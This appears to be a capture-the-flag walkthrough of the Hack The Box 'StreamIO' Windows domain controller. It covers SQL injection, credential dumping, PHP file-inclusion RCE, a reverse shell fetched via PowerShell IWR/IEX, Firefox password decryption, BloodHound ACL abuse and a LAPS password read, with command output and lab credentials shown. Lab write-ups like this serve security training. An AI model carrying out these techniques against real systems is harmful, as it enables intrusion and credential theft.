$ nmap -sV -sC -p- -PN -oA streamio_nmap 10.129.166.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-04 19:59 CEST
Nmap scan report for 10.129.166.10
Host is up (0.029s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-05 01:01:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
|_ssl-date: 2025-10-05T01:03:00+00:00; +7h00m01s from scanner time.
|_http-title: Not Found
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
A UDP scan for common ports did not find any additional services.
From the scan results, the target domain name is streamio.htb. There is also an additional subdomain, watch.streamio.htb, both of which are for a custom web application served over HTTPS:
streamio.htb:
watch.streamio.htb:
There is a Login button on the front page that leads to a form for users to login or register for an account:
Registering an account doesn't seem to do anything, as logging in with the same credentials just gives an error message. Attempting to inject the form with a basic SQLi payload returns the following error message:
Running FuFF on the web site turns up a couple of interesting hits for the watch.streamio,htb subdomain:
Navigating to https://watch.streamio.htb/search.php turns up a page for searching movies on the site:
None of the titles are of course available for watching, but there is some input validation in the search field. If injected with a simple SQLi payload (' or '1'='1), the application returns the following error page:
The session block isn't real, and not all payloads trigger it, meaning that there might be weaknesses in the character blacklist filter. For instance, injecting a single quote (') doesn't return any results, just the empty search page.
One way of enumerating which characters are blocked and which ones aren't is by running FFuF against the search query with a list of special characters as the wordlist. The idea is that characters that don't trigger the filter and don't cause SQLi will return an empty page like in the case of '. If a character does lead to SQLi, it might cause the application to dump database contents, leading to a larger page size:
The most interesting results are towards the end of the list. There are no titles with % or _ in them, nor are there that many titles with a &. All the characters are SQL operators, which means they are being passed directly to the DBMS.
Foothold
The goal is to exploit the SQLi vulnerability through a union injection, which is the usual way of appending an arbitrary SQL statement to an exisiting query.
Background
A payload can be built by considering what the query executed on the backend likely looks like:
The %% are wildcard operators that match titles with names containing the search string (24). As the injection point is inside the search string, this needs to be terminated with a quote before the union select payload starts:
The next step is to determine the number of columns in the table, which is done by incrementing the select count at the end of the payload, while looking for changes in the page returned.
The number of columns in the table can be brute-forced by passing the /search.php endpoint through Burp. At 6 columns, the HTML output changed:
According to the output of the @@version command, the target is running MSSQL 2019.
Tip
Having a search running for the HTML element where the output table begins (in this case <h5 class="p-2">) is crucial. The page changes for each column iteration are subtle, making it easy to miss when the output actually changes.
With a foothold inside the database, the discovered SQLi can be used to exfiltrate information from the database. This cheat sheet is a handy reference for setting up the relevant queries. These need to be adapted to the union select payload before they're executed.
For instance, all databases are enumerated with the following query:
The usernames are paired with entries in a password column, but since there is only one column for output, these have to be concatenated using CONCAT() in order to output them in a single column. The following payload achieves this:
As the target is a Windows host, there might be a chance that some of the credentials in the list above might have been reused for a Windows account. However, enumerating the list with nxc smb and nxc ldap did not yield any results.
The obvious next step then is to test the credentials for accessing the site itself. One way of going about this is to test every credential on the list (which is feasible in this case), or to use Hydra for brute forcing the login form.
HTTP forms can be brute forced using Hydra with the http-post-form service:
Although the credentials work for logging in to the main site, there isn't anything new to see. However, navigating to /admin reveals what looks like an admin panel for the site:
The admin panel is very minimal with just the most basic function for managing users, movies and staff. There is also a Leave a message for admin page, but this is just a blank page.
Fuzzing the /admin endpoint for additional PHP scripts doesn't turn up anything except index.php and master.php:
$ curl -k -H "PHPSESSID=insrb1hhjfo0fodtrln30gjvrg" https://streamio.htb/admin/master.php
<h1>Movie managment</h1>
Only accessable through includes
Looking closer at the URL format used for the admin panel, each page is accessed through a specifc URL parameter. For instance, the User management page is at https://streamio.htb/admin/?user=. If there are other pages not listed in the panel menu, they too will have a unique parameter in the URL.
Like other parts of an URL, URL parameters can be fuzzed for with a tool like FFuF. Since the admin panel is behind a login, a session cookie needs to passed via the -b argument:
The debug parameter is new. Navigating to this endpoint only presents a page with the following text:
While this looks like a dead end, the URL parameter can be used to include files. For instance, if attempting to include index.php, an error message is returned:
This is solved by passing the referenced page through PHP's base64 filter with php://filter/read=convert.base64-encode/resource=index.php:
Decoding the base64 blob produces the following PHP script:
While the index.php script does have credentials for a database service account, these can't be used for anything at this point, as the DBMS isn't reachable from the outside. There is one other file under /admin, master.php, that can be exfiltrated in the same way.
The snippet above will evaluate all PHP code that is passed via the include POST parameter, including scripts from external sources, as PHP by default allows executing remote scripts.
This can be verified by creating a .php file with the following contents:
The code above isn't wrapped in <?php ... ?> tags because it's already being evaluated inside a PHP script.
Using Burp, the payload is delivered as a POST request to /admin?debug=master.php:
With RCE confirmed, the next step is to get a reverse shell on the target. A good choice in this case is ConPtyShell, as it has more features and better terminal support than a simple PowerShell reverse shell.
In order to spawn ConPtyShell, it first needs to be uploaded to the target, then executed in one go. This is done by combining the cmdlets Invoke-WebRequest (IWR) and Invoke-Expression (IEX). The output is then base64 encoded in UTF-16 little-endian, which is the format used by PowerShell:
Connection received on 10.129.166.10 55691
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\inetpub\streamio.htb\admin> whoami
streamio\yoshihide
Lateral Movement
The shell spawned as yoshihide. From the looks of it, this is a very restricted account with no special privileges and no folder under C:\Users:
PS C:\inetpub\streamio.htb\admin> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\inetpub\streamio.htb\admin> net user yoshihide
User name yoshihide
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/22/2022 2:57:24 AM
Password expires Never
Password changeable 2/23/2022 2:57:24 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/6/2025 2:48:28 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
PS C:\inetpub\streamio.htb\admin> dir c:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/22/2022 2:48 AM .NET v4.5
d----- 2/22/2022 2:48 AM .NET v4.5 Classic
d----- 2/26/2022 10:20 AM Administrator
d----- 5/9/2022 5:38 PM Martin
d----- 2/26/2022 9:48 AM nikk37
d-r--- 2/22/2022 1:33 AM Public
Despite being restricted, having a shell on the target host allows for accessing the MSSQL server directly. Using the sqlcmd.exe CLI and the credentials for db_admin found earlier, the server is accessed like so:
PS C:\inetpub\streamio.htb\admin> sqlcmd -S 127.0.0.1 -U db_admin -P B1@hx31234567890
1> SELECT name FROM master.dbo.sysdatabases;
2> go
name
----------------------------------------------
master
tempdb
model
msdb
STREAMIO
streamio_backup
Of the databases listed, the streamio_backup dtabase is of interest. Enumerating it reaveals a differnt user table than was found previously:
1> use streamio_backup;
2> go
Changed database context to 'streamio_backup'.
1> select table_name from streamio_backup.information_schema.tables;
2> go
table_name
----------------------------------------------
movies
users
1> select * from users;
2> go
id username password
----------- --------------------------- --------------------------------
1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
3 James c660060492d9edcaa8332d89c99c9239
4 Theodore 925e5408ecb67aea449373d668b7359e
5 Samantha 083ffae904143c4796e464dac33c1f7d
6 Lauren 08344b85b329d7efd611b7a7743e8a09
7 William d62be0dc82071bccc1322d64ec5b6c51
8 Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
(8 rows affected)
Of the users in the list, nikki37 is the most interesting, as this user has an account on the target and a folder under C:\Users. The hash is also easily crackable:
*Evil-WinRM* PS C:\Users\nikk37\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\nikk37\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
There isn't much else to go on, but running WinPEAS as nikk37 reveals a Firefox profile:
$ python firefox_decrypt.py br53rxeg.default-release/
2025-10-06 21:33:17,234 - WARNING - profile.ini not found in /home/admin/sboxshare/htb-boxes/streamio/br53rxeg.default-release/
2025-10-06 21:33:17,234 - WARNING - Continuing and assuming '/home/admin/sboxshare/htb-boxes/streamio/br53rxeg.default-release/' is a profile location
Website: https://slack.streamio.htb
Username: 'admin'
Password: 'JDg0dd1s@d0p3cr3@t0r'
Website: https://slack.streamio.htb
Username: 'nikk37'
Password: 'n1kk1sd0p3t00:)'
Website: https://slack.streamio.htb
Username: 'yoshihide'
Password: 'paddpadd@12'
Website: https://slack.streamio.htb
Username: 'JDgodd'
Password: 'password@12'
Even though all the saved credentials in the Firefox profile point to slack.streamio.htb, there is no website at that address. Still, there might be system accounts on the target that reuse the credentials, something that can be enumerated with NetExec:
*Evil-WinRM* PS C:\Users\nikk37> net user jdgodd
User name JDgodd
Full Name
Comment
User's comment
...
Local Group Memberships
Global Group memberships *Domain Users
The user may still have been granted privileges through ACEs or other mechanisms that aren't visible in a simple group membership or privilege listing. Disovering these requires further enumeration with BloodHound
Collected domain data with bloodhound-python as nikk37:
$ bloodhound-python -u nikk37 -p 'get_dem_girls2@yahoo.com' -ns 10.129.180.169 -d streamio.htb -c all
INFO: Found AD domain: streamio.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.streamio.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 8 users
INFO: Found 54 groups
INFO: Found 4 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 00M 15S
Running the First Degree Object Control query on JDgodd reveals that the account owns the Core Staff group and has a WriteOwner privilege over it:
The WriteOwner privilege allows JDgodd to change the owner of the Core Staff group, even though they're not a member of it. The usefulness of this isn't immediately obvious, but marking the user as owned and running the query Shortest Paths from Owned Principals shows a promising route to privilege escalation:
In summary, members of Core Staff have the ReadLAPSPassword privilege, which allows them to read the local administrator password for the target host.
Adding nikk37 to Core Staff is a two-step process that can be done from a domain-joined host (as nikk37 on the target in this case), from the attack host. The idea is to abuse the WriteOwner privilege give JDgoddGenericAll privileges, then adding nikk37 to the group.
Note
GenericAll isn't stictly necessary in this case, as JDGodd only needs to add a new member to the group which can be achieved with the AddMember privilege. In either case, the privilege has to be set first in order for JDgodd to be able to add new members.
Any valid user who can authenticate over LDAP can be used for this purpose. Although `nikk37 is the most obvious choice for their WinRM access, this isn't a requirement.
From the attack host, the ACL abuse can be performed with BloodyAD:
$ nxc ldap streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com' --kdcHost 10.129.204.205 -M laps
SMB 10.129.204.205 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
LDAP 10.129.204.205 389 DC [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com
LAPS 10.129.204.205 389 DC [*] Getting LAPS Passwords
LAPS 10.129.204.205 389 DC Computer:DC$ User: Password:1}ya6Lf[2Yg3&C
Finally, the target can be accessed as Administrator using Evil-WinRM: